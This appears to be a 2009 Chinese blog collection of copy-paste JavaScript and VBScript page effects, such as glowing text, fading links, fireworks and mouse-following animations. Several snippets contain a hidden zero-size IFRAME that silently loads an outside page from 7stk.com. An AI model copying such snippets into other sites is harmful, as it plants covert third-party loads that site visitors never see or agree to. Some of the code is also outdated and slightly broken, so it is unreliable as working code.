<SPAN ID="test" STYLE="border:5px solid rgb(0,0,0);color:rgb(255,255,255);position:absolute;top:0;left:0;width:400;height:400;overflow:hidden;background:rgb(0,0,255)">

欢迎光临 <B>javascript</B> 网页特效站,请多提意见!!

</SPAN>

<SCRIPT>

function rander(){

       var top = Math.round(Math.random() * 400);

       var left = Math.round(Math.random() * 600);

       var width = Math.round(Math.random() * 200);

       var height = Math.round(Math.random() * 200);

       var r = Math.round(Math.random() * 255);

       var g = Math.round(Math.random() * 255);

       var b = Math.round(Math.random() * 255);

       var background = "rgb(" + r + "," + g + "," + b + ")";

       var r = Math.round(Math.random() * 255);

       var g = Math.round(Math.random() * 255);

       var b = Math.round(Math.random() * 255);

       var borderColor = "rgb(" + r + "," + g + "," + b + ")";

       var r = Math.round(Math.random() * 255);

       var g = Math.round(Math.random() * 255);

       var b = Math.round(Math.random() * 255);

       var color = "rgb(" + r + "," + g + "," + b + ")";

       morph(document.all.test,30,20,"top:" + top + ";left:" + left + ";width:" + width + ";height:" + height + ";background:" + background + ";border-color:" + borderColor + ";color:" + color + ";","rander();");

}

 

rander();

 

</SCRIPT>

0 Comments

Thu

19

Mar

2009

43、实现的发光字体

43、实现的发光字体

<html>

 

<head>

<title>网页特效---通过滤镜实现的发光字体</title>

</head>

 

<body bgcolor="#000000">

 

<p id="me1"

style="position: absolute; left: 155; top: -1; width: 668; height: 405; filter: glow(color=#ffff00, strength=00)"

align="center"><font face="隶书" size="7" color="#FFFF00"><strong><b>发光字体</b></strong></font></p>

 

<div align="center">

  <center>

 

<table border="0" width="91%" height="163">

  <tr>

    <td width="74%" height="33"></td>

  </tr>

  <tr>

    <td width="74%" height="118"><font color="#0000FF" face="方正粗倩简体"> 

      字体发光的同时,变幻发光的强弱、颜色,将旁边的文字、图片照亮,与星光相互生辉,别有一番意境。</font><font

    color="#0000FF"><font face="方正粗倩简体">这里采用了</font><b>CSS</b><font face="方正粗倩简体">样式表单滤镜的强大功能,并且它们的参数由脚本语言来控制,这也是制作此类动画的一般方法,本例就使用</font><b>FrontPage</b><font face="方正粗倩简体"> </font><b>2000</b><font face="方正粗倩简体">通过滤镜来制作发光字体的效果。</font></font></td>

  </tr>

</table>

  </center>

</div>

<script language="vbscript">

dim i

dim j

i=0

j=0

sub window_onload()

me1.filters.glow.strength=i

me1.filters.glow.color=j

i=i+1

j=j+500

if i>250 then i=0

if j>26777215 then j=0

window.settimeout "window_onload()",100

end sub

</script>

 

 

<p> </p>

 

<p> </p>

 

<p> </p>

 

<p> </p>

<div style="position: absolute; top: 177; left: 302; width: 297; height: 116;index:3 "><font

face="方正粗倩简体">

 

<p></font> </p>

</div>

</body>

</html>

 

0 Comments

Thu

19

Mar

2009

42、类似FLASH文字转换

42、类似FLASH文字转换

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效--类似FLASH的文字转换</title>

 

</head>

 

<body>

 

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var qiksearch_js_text = new Array ("Hello 你好!", "欢迎你的光临", "网页特效", "http://7stk.com");

var qiksearch_space_width = 200; // The width of the content space

var qiksearch_space_height =30; // The height of the content space

var qiksearch_space_borderw=3; // Border width

var qiksearch_space_borderc="#CC0000"; // Border Color

var timeOutVal=150; // Delay in milliseconds

 

//--------------------------------------------------------------------------------------------

 

//-----------------------------DO-NOT-MODIFY-BELOW-THIS---------------------------------------

 

document.write('<table width="' + qiksearch_space_width + '" height="' + qiksearch_space_height + '" style="background:#FFFFFF; border:' + qiksearch_space_borderw + ' solid ' + qiksearch_space_borderc + '"><tr><td align="middle">');

document.write('<div id="qiksearch_js_space">');

document.write('</div>');

document.write('</td></tr></table>');

 

var def_10='A',def_11='B',def_12='C',def_13='D',def_14='E',def_15='F';

var colorVal=15;

var div_count=0;

 

function qiksearch_fade_desat(getColorIntVal)

{

 var returnVal;

 if(getColorIntVal>=10)

 {

  for(var i=0; i<=15; i++)

  {

   if((getColorIntVal==i))

   {

    returnVal = eval('def_' + i);

   }

  }

 }

 else

 {

  returnVal=getColorIntVal;

 }

 return(returnVal);

}

 

function writeDiv()

{

 document.all.qiksearch_js_space.innerHTML= '<font face="verdana,arial,helvetica" size="-1" color="' +  joinColor(qiksearch_fade_desat(colorVal)) + '"><b>' + qiksearch_js_text[div_count] + '</span></b></font>' ;

 

 if((colorVal>0)  && (colorVal!=0))

 {

  colorVal--;

 }

 else

 {

  colorVal=15;

  if(div_count<qiksearch_js_text.length)

  {

   div_count++;

  }

  if(div_count==qiksearch_js_text.length)

  {

   document.all.qiksearch_js_space.innerHTML = '<a href="javascript:resetAll();writeDiv();" style="text-decoration:none" accesskey="l"><font color="#808080" face="verdana,arial,helvetica" size="-1"><b>再来一遍!</b></font></a>';

  }

 }

 

 if(div_count<qiksearch_js_text.length)

 {

  setTimeout("writeDiv()",timeOutVal);

 }

}

 

function joinColor(getColor)

{

 return (getColor + '0' + getColor + '0' + getColor + '0');

}

 

function resetAll()

{

 div_count=0;

 colorVal=15;

}

 

writeDiv();

//  End -->

</script>

 

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

41、文字的循环闪动

41、文字的循环闪动

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效---文字的循环闪动</title>

 

<body>

 

<script language="javascript" type="text/javascript">

<!--

// convert a single digit (0 - 16) into hex

function enHex(aDigit)

{

    return("0123456789ABCDEF".substring(aDigit, aDigit+1))

}

// convert a hex digit into decimal

function deHex(aDigit)

{

    return("0123456789ABCDEF".indexOf(aDigit))

}

 

// Convert a 24bit number to hex

function toHex(n)

{

    return (enHex((0xf00000 & n) >> 20) +

            enHex((0x0f0000 & n) >> 16) +

            enHex((0x00f000 & n) >> 12) +

            enHex((0x000f00 & n) >>  8) +

            enHex((0x0000f0 & n) >>  4) +

            enHex((0x00000f & n) >>  0))

}

// Convert a six character hex to decimal

function toDecimal(hexNum)

{

     var tmp = ""+hexNum.toUpperCase()

    while (tmp.length < 6) tmp = "0"+tmp

     return ((deHex(tmp.substring(0,1)) << 20) +

             (deHex(tmp.substring(1,2)) << 16) +

            (deHex(tmp.substring(2,3)) << 12) +

            (deHex(tmp.substring(3,4)) << 8) +

            (deHex(tmp.substring(4,5)) << 4) +

             (deHex(tmp.substring(5,6))))

}

///////////////////Shimmering Links/////////////////////

//global variables

var hoverColour

var numLinks;

var rate;

var numFadeLevels;

var bgR;

var bgG;

var bgB;

var currR;

var currG;

var currB;

var count;

var fadeOut;

var continuous;

var newColour;

var tID;

var redInterval;

var greenInterval;

var blueInterval;

function initLinks(mouseOverColour, numberOfLinks, fadeOutColour)

{

       hoverColour = mouseOverColour;

       numLinks = numberOfLinks;

       rate = 1;

       numFadeLevels = 30;

       function initArray(theArray, length, val)

       {

              for(i=0;i<length;i++)

              {

                     theArray[i] = val;

              }

       }

       bgR = '0000' + fadeOutColour.substring(1,3)

       bgG = '0000' + fadeOutColour.substring(3,5)

       bgB = '0000' + fadeOutColour.substring(5,7)

       currR = new Array(numLinks);

       currG = new Array(numLinks);

       currB = new Array(numLinks);

       count = new Array(numLinks);

       fadeOut = new Array(numLinks);

       continuous = new Array(numLinks);

       newColour = new Array(numLinks);

       tID = new Array(numLinks);

       redInterval = toDecimal(bgR) / numFadeLevels;

       greenInterval = toDecimal(bgG) / numFadeLevels;

       blueInterval = toDecimal(bgB) / numFadeLevels;

       initArray(currR,numLinks,0);

       initArray(currG,numLinks,0);

       initArray(currB,numLinks,0);

       initArray(count,numLinks,0);

       initArray(fadeOut,numLinks,true);

       initArray(continuous,numLinks,true);

}    

function startFade(id)

{

       if(fadeOut[id] == true)

       { /*move colour towards background colour (increment)*/

              currR[id] += redInterval;

              currG[id] += greenInterval;

              currB[id] += blueInterval;

              newColour[id] = '#' + (toHex(currR[id])).substring(4,6) + (toHex(currG[id])).substring(4,6) + (toHex(currB[id])).substring(4,6);

              if(++count[id] == numFadeLevels)

              {

                     fadeOut[id] = false;

              }

       }

       else

       {

              currR[id] -= redInterval;

 

              currG[id] -= greenInterval;

 

              currB[id] -= blueInterval;

 

              newColour[id] = '#' + (toHex(currR[id])).substring(4,6) + (toHex(currG[id])).substring(4,6) + (toHex(currB[id])).substring(4,6);

 

              if(--count[id] == 0)

 

              {

 

                     fadeOut[id] = true;

 

              }

 

       }

 

       if(continuous[id] == true)

 

       {

 

              document.getElementById(id).style.color = newColour[id];             

 

       }

 

       else

 

       {

 

              document.getElementById(id).style.color = hoverColour;

 

       }

 

       clearTimeout(tID[id]);

 

       tID[id]=setTimeout('startFade(' + id + ')', rate);

 

}

 

function continueFade(id)

 

{

 

       continuous[id] = true;

 

}

 

function stopFade(id)

 

{

 

       continuous[id] = false;

 

}

 

function StartTimers()

 

{     //set up an initial set of timers to start the shimmering effect

 

       for(id=0; id<numLinks; id++)

 

       {

 

              t=setTimeout('startFade(' + id + ')', id*100);

 

       }

 

}

 

//format = initLinks('mouse-over colour', 'number of links', 'fade-out colour')

 

initLinks('#FF0000', 6, '#FFCC77');

 

//-->

 

</script>

<a class="links" id="0" onmouseover="stopFade('0');" onmouseout="continueFade('0');" href="#">欢迎光临

</a>

<br>

<a class="links" id="1" onmouseover="stopFade('1');" onmouseout="continueFade('1');" href="#">网页特效</a>

<br>

<a class="links" id="2" onmouseover="stopFade('2');" onmouseout="continueFade('2');" href="#">希望提出你的宝贵意见</a>

<br>      

<a class="links" id="3" onmouseover="stopFade('3');" onmouseout="continueFade('3');" href="#">我们收集了上千个特效</a>

<br>

<a class="links" id="4" onmouseover="stopFade('4');" onmouseout="continueFade('4');" href="#">希望你能找到合适你的效果</a>

<br>

<a class="links" id="5" onmouseover="stopFade('5');" onmouseout="continueFade('5');" href="#">再次感谢你的光临</a>

<script language="javascript" type="text/javascript">

<!--

setTimeout('StartTimers()', 1000); //initial 1 second delay to allow page to load and ensure smooth shimmering

//-->

</script>

 

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

40、礼花背景网页代码

40、礼花背景网页代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<layer name="a0" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a1" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a2" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a3" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a4" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,1,1"></layer>

<layer name="a5" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a6" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,1,1"></layer>

<layer name="a7" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a8" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a9" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a10" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a11" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,2,2"></layer>

<layer name="a12" left=10 top=10 visibility=show bgcolor="#0000ff" clip="0,0,2,2"></layer>

<layer name="a13" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,2,2"></layer>

<div id="starsDiv" style="position:absolute;top:0px;left:0px">

<div style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffffff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

</div>

 

<SCRIPT LANGUAGE="JavaScript">

 

<!-- Begin

var Clrs = new Array(9);

Clrs[0] = 'ff0000';

Clrs[1] = '00ff00';

Clrs[2] = '000aff';

Clrs[3] = 'ff00ff';

Clrs[4] = 'ffa500';

Clrs[5] = 'ffff00';

Clrs[6] = '00ff00';

Clrs[7] = 'ffffff';

Clrs[8] = 'fffff0';

var sClrs = new Array(5);

sClrs[0] = 'ffa500';

sClrs[1] = '55ff66';

sClrs[2] = 'AC9DFC';

sClrs[3] = 'fff000';

sClrs[4] = 'fffff0';

var yBase;

var xBase;

var step;

var currStep = 0;

var Xpos = 1;

var Ypos = 1;

var initialStarColor = 'ffa000';

var Mtop = 250;

var Mleft = 250;

function Fireworks() {

if (document.all) {

yBase = window.document.body.offsetHeight / 3;

xBase = window.document.body.offsetWidth / 8;

}

else if (document.layers) {

yBase = window.innerHeight / 3;

xBase = window.innerWidth / 8;

}

if (document.all) {

step = 5;

for ( i = 0 ; i < starsDiv.all.length ; i++ ) {

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

}

if (currStep < 90)

starsDiv.all[i].style.background=initialStarColor;

if (currStep > 90)

starsDiv.all[i].style.background=Clrs[c];

starsDiv.all[i].style.top = Mtop + yBase*Math.sin((currStep+i*5)/3)*Math.sin(550+currStep/100)

starsDiv.all[i].style.left = Mleft + yBase*Math.cos((currStep+i*5)/3)*Math.sin(550+currStep/100)

   }

}

else if (document.layers) {

step = 5;

for ( j = 0 ; j < 24 ; j++ ) { //number of NS layers!

var templayer = "a"+j;

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

 

}

if (currStep < 90)

document.layers[templayer].bgColor=initialStarColor;

if (currStep > 90)

document.layers[templayer].bgColor=Clrs[c];

document.layers[templayer].top = Mtop + yBase*Math.sin((currStep+j*5)/3)*Math.sin(550+currStep/100)

document.layers[templayer].left = Mleft + yBase*Math.cos((currStep+j*5)/3)*Math.sin(550+currStep/100)

   }

}

currStep+= step;

T=setTimeout("Fireworks()",5);

if (currStep == 220) {

currStep = -10;

for (n = 0; n < sClrs.length; n++) {

var k = Math.round(Math.random()*n);

}

initialStarColor = sClrs[k];

if (document.all) {

Dtop = window.document.body.clientHeight - 250;

Dleft = xBase * 3.5;

Mtop = Math.round(Math.random()*Dtop);

Mleft = Math.round(Math.random()*Dleft);

document.all.starsDiv.style.top = Mtop+document.body.scrollTop;

document.all.starsDiv.style.left = Mleft+document.body.scrollLeft;

}

else if (document.layers) {

Dleft = window.innerWidth - 100;

Dtop = window.innerHeight - 100;

Mtop = Math.round(Math.random()*Dtop+window.pageYOffset);

Mleft = Math.round(Math.random()*Dleft+window.pageXOffset);

document.layers[templayer].top = Mtop;

document.layers[templayer].left = Mleft;

}

if ((Mtop < 20) || (Mleft < 20)) {

Mtop += 90;

Mleft += 90;

      }

   }

}

Fireworks();

//  End -->

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

39、页面游动吐泡小鱼

39、页面游动吐泡小鱼

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>页面游动吐泡小鱼——网页特效代码(www.7stk.com) </title>

</head>

 

<body onLoad="Start()">

<script language="JavaScript">

<!--

Image0=new Image();

Image0.src="http://www.7stk.com/beijing/sto/2006515152552219.GIF";

Amount=12;

Pics=new Array();

Load=new Array();

Ypos=new Array();

Xpos=new Array();

Speed=new Array();

Rate=new Array();

Grow=new Array();

Step=new Array();

Cstep=new Array();

NsSize=new Array();

Ns=(document.layers)?1:0;

Pos=-1;

Jog=1;

Timer=null;

for(i=0; i <= 6; i++){

Pics[i]="http://www.7stk.com/beijing/sto/sto/0427"+i+".gif";

}

function PreLoad(){

for(i=0; i < Pics.length; i++){

 Load[i]=new Image();

 Load[i].src=Pics[i];

 }

}

PreLoad();

Strt=0-(Load[0].width+50);

function AniFish(){

Pos+=Jog;

if (Pos >= Pics.length) Pos=0;

if (Ns) document.nfish.document.images.nframe.src=Pics[Pos];

else document.images.iframe.src=Pics[Pos];

Timer=setTimeout('AniFish()',50)

}

function MoveFish(){

H=(document.layers)?window.innerHeight+window.pageYOffset:window.document.body.clientHeight+document.body.scrollTop;

W=(document.layers)?window.innerWidth+window.pageXOffset:window.document.body.clientWidth+document.body.scrollLeft;

Strt-=2;

if (Strt < 0-(Load[0].width)) Strt=W;

if (Ns){document.nfish.left=Strt;document.nfish.top=H-(Load[0].height+10)}

else {ifish.style.left=Strt;ifish.style.top=H-(Load[0].height+10)}

setTimeout('MoveFish()',10)

}

H2=(document.layers)?window.innerHeight:window.document.body.clientHeight;

 for (i=0; i < Amount; i++){

 Ypos[i]=Math.random()*H2-50;

 Xpos[i]=-50;

 Speed[i]=Math.random()*10+1;

 Cstep[i]=0;

 Step[i]=Math.random()*0.1+0.05;

 Grow[i]=4;

 NsSize[i]=Math.random()*4+6;

 Rate[i]=Math.random()*0.5+0.1;

 }

if (Ns){

for (i = 0; i < Amount; i++){

document.write("<layer name='sn"+i+"' left=0 top=-50><img src="+Image0.src+" name='N' width="+NsSize[i]+" height="+NsSize[i]+"></layer>");

}

document.write("<layer name='nfish' left=0 top=-50><img src='0.gif' name='nframe'></layer>");

}

else{

document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < Amount; i++){

document.write('<img id="si" src="'+Image0.src+'" style="position:absolute;top:-100px;left:0px;filter:alpha(opacity=90)">');

}

document.write('</div></div>');

document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'

+'<img id="ifish" src="0.gif" name="iframe" style="position:absolute;top:-100px;left:0px"></div></div>');

}

function Bubbles(){

Hs=(document.layers)?window.pageYOffset:document.body.scrollTop;

Ws=(document.layers)?window.pageXOffset:document.body.scrollLeft;

for (i=0; i < Amount; i++){

sy = Speed[i]*Math.sin(270*Math.PI/180);

sx = Speed[i]*Math.cos(Cstep[i]*5);

Ypos[i]+=sy;

Xpos[i]+=sx;

if (Ypos[i] < -40){

if (Ns) {Ypos[i]=document.nfish.top;Xpos[i]=document.nfish.left}

else {Ypos[i]=ifish.style.pixelTop;Xpos[i]=ifish.style.pixelLeft}

Speed[i]= 6+Math.random()*3;

Grow[i]=4;

NsSize[i]=Math.random()*4+6;

}

if (Ns){

document.layers['sn'+i].left=Xpos[i]+Ws;

document.layers['sn'+i].top=Ypos[i]+Hs;

}

else{

si[i].style.pixelLeft=Xpos[i]+Ws;

si[i].style.pixelTop=Ypos[i]+Hs;

si[i].style.width=Grow[i];

si[i].style.height=Grow[i];

}

Grow[i]+=Rate[i];

Cstep[i]+=Step[i];

if (Grow[i] > 15) Grow[i]=16;

}

setTimeout('Bubbles()',10);

}

function Start(){

AniFish();

MoveFish();

Bubbles();

}

//-->

</script>

</body>

 

</html>

</td>

              </tr>

       </table>

</div>

</body>

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

</html>

 

0 Comments

Thu

19

Mar

2009

38、跟随鼠标的弹性小球

38、跟随鼠标的弹性小球

<!--将以下代码加入HTML<Body></Body>之间-->

 

<DIV id=dot0

style="HEIGHT: 11px; POSITION: absolute; VISIBILITY: hidden; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot1 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot2 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot3 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot4 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot5 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<DIV id=dot6 style="HEIGHT: 11px; POSITION: absolute; WIDTH: 11px"><IMG

height=11 src="image/bullet2.gif" width=11> </DIV>

<SCRIPT language=JavaScript>

var nDots = 7;

var Xpos = 0;

var Ypos = 0;

var DELTAT = .01;

var SEGLEN = 10;

var SPRINGK = 10;

var MASS = 1;

var XGRAVITY = 0;

var YGRAVITY = 50;

var RESISTANCE = 10;

var STOPVEL = 0.1;

var STOPACC = 0.1;

var DOTSIZE = 11;

var BOUNCE = 0.75;

var isNetscape = navigator.appName=="Netscape";

var followmouse = true;

var dots = new Array();

init();

function init()

{

    var i = 0;

    for (i = 0; i < nDots; i++) {

        dots[i] = new dot(i);

    }

 

    if (!isNetscape) {

    }

    for (i = 0; i < nDots; i++) {

        dots[i].obj.left = dots[i].X;

        dots[i].obj.top = dots[i].Y;

    }

    if (isNetscape) {

        startanimate();

    } else {

        setTimeout("startanimate()", 1000);

    }

}

function dot(i)

{

    this.X = Xpos;

    this.Y = Ypos;

    this.dx = 0;

    this.dy = 0;

    if (isNetscape) {

        this.obj = eval("document.dot" + i);

    } else {

        this.obj = eval("dot" + i + ".style");

    }

}

function startanimate() {

    setInterval("animate()", 20);

}

function setInitPositions(dots)

{

    var startloc = document.all.tags("LI");

    var i = 0;

    for (i = 0; i < startloc.length && i < (nDots - 1); i++) {

        dots[i+1].X = startloc[i].offsetLeft

            startloc[i].offsetParent.offsetLeft - DOTSIZE;

        dots[i+1].Y = startloc[i].offsetTop +

            startloc[i].offsetParent.offsetTop + 2*DOTSIZE;

    }

    dots[0].X = dots[1].X;

    dots[0].Y = dots[1].Y - SEGLEN;

}

function MoveHandler(e)

{

    Xpos = e.pageX;

    Ypos = e.pageY;

    return true;

}

function MoveHandlerIE() {

    Xpos = window.event.x + document.body.scrollLeft;

    Ypos = window.event.y + document.body.scrollTop;

}

 

if (isNetscape) {

    document.captureEvents(Event.MOUSEMOVE);

    document.onMouseMove = MoveHandler;

} else {

    document.onmousemove = MoveHandlerIE;

}

 

 

function vec(X, Y)

{

    this.X = X;

    this.Y = Y;

}

function springForce(i, j, spring)

{

    var dx = (dots[i].X - dots[j].X);

    var dy = (dots[i].Y - dots[j].Y);

    var len = Math.sqrt(dx*dx + dy*dy);

    if (len > SEGLEN) {

        var springF = SPRINGK * (len - SEGLEN);

        spring.X += (dx / len) * springF;

        spring.Y += (dy / len) * springF;

    }

}

function animate() {

    var start = 0;

    if (followmouse) {

        dots[0].X = Xpos;

        dots[0].Y = Ypos;

        start = 1;

    }

    for (i = start ; i < nDots; i++ ) {

 

        var spring = new vec(0, 0);

        if (i > 0) {

            springForce(i-1, i, spring);

        }

        if (i < (nDots - 1)) {

            springForce(i+1, i, spring);

        }

        var resist = new vec(-dots[i].dx * RESISTANCE,

            -dots[i].dy * RESISTANCE);

        var accel = new vec((spring.X + resist.X)/MASS + XGRAVITY,

            (spring.Y + resist.Y)/ MASS + YGRAVITY);

        dots[i].dx += (DELTAT * accel.X);

        dots[i].dy += (DELTAT * accel.Y);

        if (Math.abs(dots[i].dx) < STOPVEL &&

            Math.abs(dots[i].dy) < STOPVEL &&

            Math.abs(accel.X) < STOPACC &&

            Math.abs(accel.Y) < STOPACC) {

            dots[i].dx = 0;

            dots[i].dy = 0;

        }

        dots[i].X += dots[i].dx;

        dots[i].Y += dots[i].dy;

        var height, width;

        if (isNetscape) {

            height = window.innerHeight + window.pageYOffset;

            width = window.innerWidth + window.pageXOffset;

        } else {

            height = document.body.clientHeight + document.body.scrollTop;

            width = document.body.clientWidth + document.body.scrollLeft;

        }

        if (dots[i].Y >=  height - DOTSIZE - 1) {

            if (dots[i].dy > 0) {

                dots[i].dy = BOUNCE * -dots[i].dy;

            }

            dots[i].Y = height - DOTSIZE - 1;

        }

        if (dots[i].X >= width - DOTSIZE) {

            if (dots[i].dx > 0) {

                dots[i].dx = BOUNCE * -dots[i].dx;

            }

            dots[i].X = width - DOTSIZE - 1;

        }

        if (dots[i].X < 0) {

            if (dots[i].dx < 0) {

                dots[i].dx = BOUNCE * -dots[i].dx;

            }

            dots[i].X = 0;

        }

        dots[i].obj.left = dots[i].X;

        dots[i].obj.top =  dots[i].Y;

    }

}

</SCRIPT>

 

0 Comments

Thu

19

Mar

2009

37、跟随鼠标的三色彩带

37、跟随鼠标的三色彩带

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!--

var a_Colour='fff000';

var b_Colour='00ff00';

var c_Colour='ff00ff';

var Size=120;

 

var YDummy=new Array(),XDummy=new Array(),xpos=0,ypos=0,ThisStep=0;step=0.6;

if (document.layers){

window.captureEvents(Event.MOUSEMOVE);

function nsMouse(evnt){

xpos = window.pageYOffset+evnt.pageX+6;

ypos = window.pageYOffset+evnt.pageY+16;

}

window.onMouseMove = nsMouse;

}

else if (document.all)

{

function ieMouse(){

xpos = document.body.scrollLeft+event.x+6;

ypos = document.body.scrollTop+event.y+16;

}

document.onmousemove = ieMouse;

}

 

function swirl(){

for (i = 0; i < 3; i++)

 {

 YDummy[i]=ypos+Size*Math.sin((1*Math.sin((ThisStep)/10))+i*2)*Math.sin((ThisStep)/4);

 XDummy[i]=xpos+Size*Math.cos((1*Math.sin((ThisStep)/10))+i*2)*Math.sin((ThisStep)/4);

 }

ThisStep+=step;

setTimeout('swirl()',10);

}

 

var amount=10;

if (document.layers){

for (i = 0; i < amount; i++)

{

document.write('<layer name=nsa'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+a_Colour+'></layer>');

document.write('<layer name=nsb'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+b_Colour+'></layer>');

document.write('<layer name=nsc'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+c_Colour+'></layer>');

}

}

else if (document.all){

document.write('<div id="ODiv" style="position:absolute;top:0px;left:0px">'

+'<div id="IDiv" style="position:relative">');

for (i = 0; i < amount; i++)

{

document.write('<div id=x style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+a_Colour+';font-size:'+i/2+'"></div>');

document.write('<div id=y style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+b_Colour+';font-size:'+i/2+'"></div>');

document.write('<div id=z style="position:absolute;top:0px;left:0px;width:'+i/2+';height:'+i/2+';background:'+c_Colour+';font-size:'+i/2+'"></div>');

}

document.write('</div></div>');

}

function prepos(){

var ntscp=document.layers;

var msie=document.all;

if (document.layers){

for (i = 0; i < amount; i++)

{

 if (i < amount-1)

 {

 ntscp['nsa'+i].top=ntscp['nsa'+(i+1)].top;ntscp['nsa'+i].left=ntscp['nsa'+(i+1)].left;

 ntscp['nsb'+i].top=ntscp['nsb'+(i+1)].top;ntscp['nsb'+i].left=ntscp['nsb'+(i+1)].left;

 ntscp['nsc'+i].top=ntscp['nsc'+(i+1)].top;ntscp['nsc'+i].left=ntscp['nsc'+(i+1)].left;

 }

else 

 {

 ntscp['nsa'+i].top=YDummy[0];ntscp['nsa'+i].left=XDummy[0];

 ntscp['nsb'+i].top=YDummy[1];ntscp['nsb'+i].left=XDummy[1];

 ntscp['nsc'+i].top=YDummy[2];ntscp['nsc'+i].left=XDummy[2];

 }

}

}

else if (document.all){

for (i = 0; i <  amount; i++)

{

 if (i < amount-1)

 {

 msie.x[i].style.top=msie.x[i+1].style.top;msie.x[i].style.left=msie.x[i+1].style.left;

 msie.y[i].style.top=msie.y[i+1].style.top;msie.y[i].style.left=msie.y[i+1].style.left;

 msie.z[i].style.top=msie.z[i+1].style.top;msie.z[i].style.left=msie.z[i+1].style.left;

 }

else

 {

 msie.x[i].style.top=YDummy[0];msie.x[i].style.left=XDummy[0];

 msie.y[i].style.top=YDummy[1];msie.y[i].style.left=XDummy[1];

 msie.z[i].style.top=YDummy[2];msie.z[i].style.left=XDummy[2];

 }

}

}

setTimeout("prepos()",10);

}

function Start(){

swirl(),prepos()

}

window.onload=Start;

// -->

</script>

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

36、很有特色的荧光鼠标

36、很有特色的荧光鼠标

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效|Linkweb.cn/Js|---很有特色的荧光鼠标</title>

<meta name="GENERATOR" content="Microsoft FrontPage 6.0">

</head>

 

<body id="mybody" style="filter:light(enabled=1);" bgcolor="#ffffff" text="#000000">

<div

        id="Layer1" style="height: 32; left: 66; position: absolute; top: 41; width: 52">

  <dd>

    <div align="right">

      <img src="images/light.gif" width="29" height="30"> </div>

  </dd>

        </div>

 

<p align="center"><b><font size="5">日落大道上的亚洲男孩 </font></b>

</p>

 

<table border="0" width="100%">

  <tr>

